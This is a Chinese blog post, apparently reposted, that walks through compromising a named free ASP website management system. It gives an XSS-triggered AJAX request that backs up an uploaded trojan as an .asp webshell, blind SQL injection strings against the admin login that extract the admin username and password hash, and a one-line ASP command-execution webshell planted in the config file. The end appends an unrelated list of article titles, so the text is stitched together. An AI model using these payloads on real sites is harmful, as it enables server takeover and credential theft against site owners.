利用or构造SQL巧妙注射-分析睿智管理系统安全
前言:
      最近上cnzz下载了一套网站管理系统,在源码首页发现它,心想 cnzz都推荐应该安全性相当不错了.官方下载最新版本本地搭建IIS测试发现简洁易用,整体上安全做得不错.由于是免费版的,可能官方有点放水.不过这里不影响我们的分析,这里讨论两个方面:跨站的利用,SQL注射.还是一句话:重在思路.
一.隐藏的数据库
分析代码经常要用到数据库(我分析的是Access版本的) ,习惯性的打开数据库,惊奇的发现只有一个notdown表,如图01:

可是再仔细查看代码发现不应该只有这张表的,于是就想是不是隐藏起来了?第一次看到这种情况,于是就查看了下Access帮助说明,在其中发现原来有还存在两种属性的数据表,即系统对象和隐藏对象.下面做一个小知识补充:
由于Access默认是不显示系统对象和隐藏对象的.所以如果一个表中存在隐藏对象或者系统对象那么就无法看到该表了. 简单说下隐藏方法,设计好表后右击表选择"属性"->"隐藏"属性打勾,刷新下就看不到了,这样就是隐藏对象了,默认是看不到的.至于系统对象,我们可以修改表的前缀为 usys,这样就可以把表改成一个系统对象.这两种方法都可以.
既然可以隐藏当然也可以恢复显示了, 按如下操作:“工具”菜单->“选项”命令->“视图”选项卡->选中“显示”一栏下的“系统对象”复选框或者"隐藏对象"复选框,并按下“确定”按钮,就可以重新显示所有表了.如图02

Ok了,数据就可以和正常的一样了.
二.跨站的深入利用鸡肋
首先看看漏洞文件/include/PlS.asp,查看代码发现是一个评论显示,在多个文件被包含了,代码如下:


<%
IF LePl<>"" then
      Dim Author,Content,mycode
    Author=Trim(Request.Form("Author"))// 简单的过滤空格
    Content=Trim(Request.Form("Content")) //同上
    mycode = trim(request.form("code"))
      if Author="" or Content="" then
      Call Alert ("请填写完整再提交","-1")
    end if
    if mycode<>Session("getcode") then
       Call Alert ("您输入验证码错误","-1")
    end if
      set rs = server.CreateObject ("adodb.recordset")
    sql="select * from zhi_rui_E_Pl"
    rs.open sql,conn,1,3
    rs.addnew
    rs("cli")=Request.Form("cli")
    rs("Ioid")=request.Form("Inid")
    rs("Author")=Author
    rs("Content")=Content
  ------------------------省略部分代码-------------------------------
%>

显然没有任何过滤,直接写入数据库,跨站产生了.由于数据库是mdb格式的,所有插马也没用.这里就想到了是否可以备份数据库?进入后台看到数据库备份,查看如图03:

看到了没,数据库路径和备份文件名都不能修改,有些朋友可能就到这里停止,其实不然,还可以继续,经验告诉我,他是将该输入框写成hidden隐藏域了,查看文件/admin/Admin_Data.asp代码如下:


<td width="81%" bgcolor="#EBF2F9" class="td"><input name=DBpath type=Hidden id="DBpath" value="../DataBase/<%=DataName%>" size="40" /></td>

看到这行type=hidden,猜测没错.那也就是说同样可以备份任意文件了.所有后台拿shell比较简单了.(插马备份数据库比较麻烦,要绕过<%loop<%,在上期我给大家讲过绕过<%loop<%的方法)那至于跨站如何利用?没错,配合ajax提交给后台管理查看评论就会自动备份数据库了,但是这里数据库有防下载表导致利用起来有麻烦,另外普通用户没有办法上传任何文件,不然可以通过上传一个图片格式的***,然后通过跨站利用ajax自动备份文件.这个跨站在 ACCess中无法利用,在MSSQL版本中就可以思考了.作为技术讨论,我还是给出ajax代码,假设我可以上传一个图片格式的*** upload/2009082150598817.jpg,现在我通过跨站备份这个文件成asp文件,经过分析写出代码如下(保存下面代码为 l4nk0r.js上传到你网站):


// 判断浏览器类型并定义创建xmlhttp会话
if (window.XMLHttpRequest)
{
  xmlhttp = new XMLHttpRequest();
} else if (window.ActiveXObject)
{
  try
  {
    xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
  }
  catch (e)
  {
    try
    {
      xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    catch (e)
    {
    }
  }
}
function backup()
{
  var postStr = "DBpath=upload/2009082150598817.jpg&bkfolder=../DataBase/bak/&bkDBname=l4nk0r.asp";
  xmlhttp.open("POST","/admin/Admin_data.asp?action=RestoreData&act=Restore",true);
  xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  xmlhttp.send(postStr);
}
Backup();

然后在你要提交的地方提交 这样当管理员查看这条评论就会触发了.不过这个漏洞在这个系统中是鸡肋,只是借这个机会和大家分享这个思路.下面进入主角讨论
三.利用or构造SQL继续注射
漏洞文件:admin/admin_cklogin.asp,后台登录验证文件,发现注入漏洞,代码如下:


LoginName=trim(request.form("LoginName"))
LoginPassword=Md5(request.form("LoginPassword"))
mycode = trim(request.form("code"))
set rs = server.createobject("adodb.recordset")
‘ 很明显的注入漏洞,变量loginname没有经过过滤直接执行sql语句
‘注意loginname是用2个单引号括起来的.要注意前后闭合问题.
sql="select * from zhi_rui_E_manage where AdminName='"&LoginName&"'"
rs.open sql,conn,1,3

if rs.eof then
   response.write "<script language=javascript> alert('管理员名称不正确,请重新输入。 ');location.replace('Admin_Login.asp');</script>"
   response.end
else
   AdminName=rs("AdminName")
   Password=rs("Password")
   AdminPurview=rs("AdminPurview")
   Working=rs("Working")
   UserName=rs("UserName")
end if

if LoginPassword<>Password then
   response.write "<script language=javascript> alert('管理员密码不正确,请重新输入。 ');location.replace('Admin_Login.asp');</script>"
   response.end
end if

好了,注入原理就不废话直接进入利用.查看数据库管理员表中默认只有一个管理员,而且这个管理员用户名可以修改.如果默认管理员没有修改可以利用and语句来注入,这种注入语句也比较简单,这里不讨论.考虑到通用性如果修改了?前台没有一个地方可以找个管理员用户名的痕迹.好了…那么我们就谈谈如何利用or 来注入(非万能密码,是不行的.).
先说下注入结果有3种:
1.  提示”管理员名称不正确,请重新输入”,说明注入语句没正确构造或者正确构造了但sql不成立;
2.  提示” 管理员密码不正确,请重新输入”,说明注入语句成立;
3.  直接跳到Admin_Cklogin.asp显示空白页面,表示你的密码也正确了.这种情况基本不可能,不然也不用这么费劲了.
分析下这sql语句

sql="select * from zhi_rui_E_manage where AdminName='"&LoginName&"'"

变量名通过2个单引号包含,必须注意闭合,只要SQL成立就会正确注入,那么我们利用or注入就会想了如何才能同时满足这些条件?没错,让前面的为假,or后为真即我们的注入语句,最后一个or是一个闭合符号且为假,总体逻辑为
      假 or 真  or 假   ->结果为真,提示密码错误
      假 or 假  or 假   ->结果为假,提示用户名错误
ok原理思路明白了,可以构造出如下SQL语句.
(1)  1' or (select count(*) from zhi_rui_E_manage)>2 or '1'='2 (判断管理员是否大于2个)
(2)  1' or (select asc(mid(adminname,1,1)) from zhi_rui_E_manage where id=1)>96 or '1'='2(判断id=1的用户名的首个字母的ASCII码是否为a,依次换位判断就可以得到管理员用户名)
(3)  1' or (select asc(mid(password,1,1)) from zhi_rui_E_manage where id=1)>96 or '1'='1
(判断id=1管理员密码的MD5散列的首个字符的ASCII码是否大于96,同理依次判断可以得到32位MD5散列)
以上如果成功怎返回如图04,

如果不成功返回如图05

如此耐心的手动猜解就得到管理员名称和密码了.至于后台拿shell,方法很多,我提两个比较简单的方法:
1.  网站配置文件插马
在配置文件随便一个信息中填入

1"%><%execute(request("cmd"))%><%'

然后直接访问/include/config.asp文件就是一句话***地址了.
2.  上传一张图片格式***,并且上传利用本地备份得到webshell
当然还有很多好的思路大家可以提供测试方法.这里不在赘述.
文章结尾:
文章到此结束,希望您有所得.有任何意见或者技术讨论欢迎交流,我论坛ID:L4nk0r
http://81sec.com/read.php/21.htm

转载于:https://blog.51cto.com/obnus/395575

利用or构造SQL巧妙注射相关推荐

  1. python编写sql注入工具-利用Python实现SQL注入 - Python黑客编程入门系列 - 8

    {getUnitName} {getLessonName} 敬请期待 免费 {getTaskName} 剩余观看时长:{watchLimitRemaining} 回放 {activityStartTi ...

  2. Java案例:利用JDBC访问SQL Server数据库

    Java案例:利用JDBC访问SQL Server数据库 1.以sa为登录名连接数据库服务器 2.附加选课数据库Xk,如下图所示: 3.启动Eclipse,创建Java项目TestDB

  3. 用JAVA代码利用坐标构造三角形、椭圆、直线并求其周长、面积

    用JAVA代码利用坐标构造三角形.椭圆.线段线并求其周长.面积 主测试程序 ShapeCreator类 Shape类 Oval类 line类 Rectangle类 Triangle类 本程序主要靠编写 ...

  4. python量化:如何利用tushare构造FF三因子模型?

    Python量化:如何利用tushare构造FF三因子模型? FF三因子模型介绍 代码实现 从tushare调取数据 利用数据构建因子 总结 笔者是一枚大二菜狗,最近刚上完学院开的python金融量化 ...

  5. xss sql注入 php,利用xss 执行sql注入

    看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1. ...

  6. java中treenode的使用_java站如何利用TreeNode构造自定义的树结构?

    展开全部 import javax.swing.*; import javax.swing.tree.*; import java.awt.*; import java.awt.event.*; cl ...

  7. Android 利用图片取色法巧妙制作彩虹调色圆环

    Android 利用图片取色法巧妙制作彩虹调色圆环 前言 说干就干 编写布局 编写逻辑 完事 前言 先看UI设计图 理论上应该自定义一个圆环View,但看到UI设计师已经将彩虹

  8. 实现教材算法7.2利用邻接矩阵构造无向图的算法,在此基础上进行深度优先遍历和广度优先遍历。

    软件学院实验报告 姓名:              学号:              专业:               年级: 课程名称 数据结构 实验名称 实验9.图的遍历 实验的准备阶段 实验内 ...

  9. sql server 多条记录数据合并为一条_如何利用Python实现SQL自动化?

    全文共5520字,预计学习时长16分钟 来源:Pexels 笔者在工作中经常要使用SQL,其不乏存在恼人的细微差异和种种限制,但说到底,它是数据行业的基石.因此,对于每一位数据领域的工作者,SQL都是 ...

最新文章

  1. 华为程序员发现孩子不是自己的!怒提离婚!但老婆只要房子车子!不要孩子!绿他的竟然是个酒吧混混!...
  2. LeetCode Maximum Depth of Binary Tree
  3. Python 的 time 模块导入及其方法
  4. 我心目中理想的开源软件
  5. Angular 依赖注入的一个常见错误 NullInjectorError, No provider for XXX
  6. 【vue报错】——listen EADDRINUSE :::8080 解决方案
  7. java 泛型 父子_使用通配符和泛型:完成父子类关系的List对象的类型匹配
  8. 问题记录-python连接远程主机redis数据库时无法成功连接
  9. springcache使用笔记001_注释驱动的 Spring cache 简单使用
  10. C语言:从键盘输入三个数,求最值问题
  11. Android中为APP创建快捷方式的原理(自己的理解)
  12. 移动端flex学习笔记(黑马教程)-基础概念
  13. 一文读懂二级分销返利模式,商城系统源码机制分享
  14. 向量与矩阵(点线距离与交点)
  15. CocosCreator之绳索摆动效果
  16. 基于RPA的自动化测试研究
  17. maven引用公共包_maven怎么 引入(或引用/使用) 自定义(或本地/第三方) jar的三种方式 图文教程-Fun言...
  18. 业务运营支撑系统  BOSS(Business Operation Support System)。
  19. 解决maven项目-Dmaven.multiModuleProjectDirectory报错
  20. 腾讯电竞广泛布局,难逃城市同质化怪圈?

热门文章

  1. Python系统的下载与安装教程
  2. 事务中mybatis通过id查不到但是通过其他条件可以查到_40打卡 MyBatis 学习
  3. LibreOffice 支持无障碍辅助的 5 种方式
  4. 在 Linux 中把一个网页转换成 PDF的技巧介绍
  5. 这三个Python小技巧你要知道
  6. php中年月日用什么参数,PHP中date()日期函数参数整理
  7. sqlalchemy数据库中的group_by()和order_by()使用
  8. 2020ICPC·小米 网络选拔赛第一场 全部题解
  9. HDU - 6486 Flower(思维)
  10. 并查集(边带权,拓展域)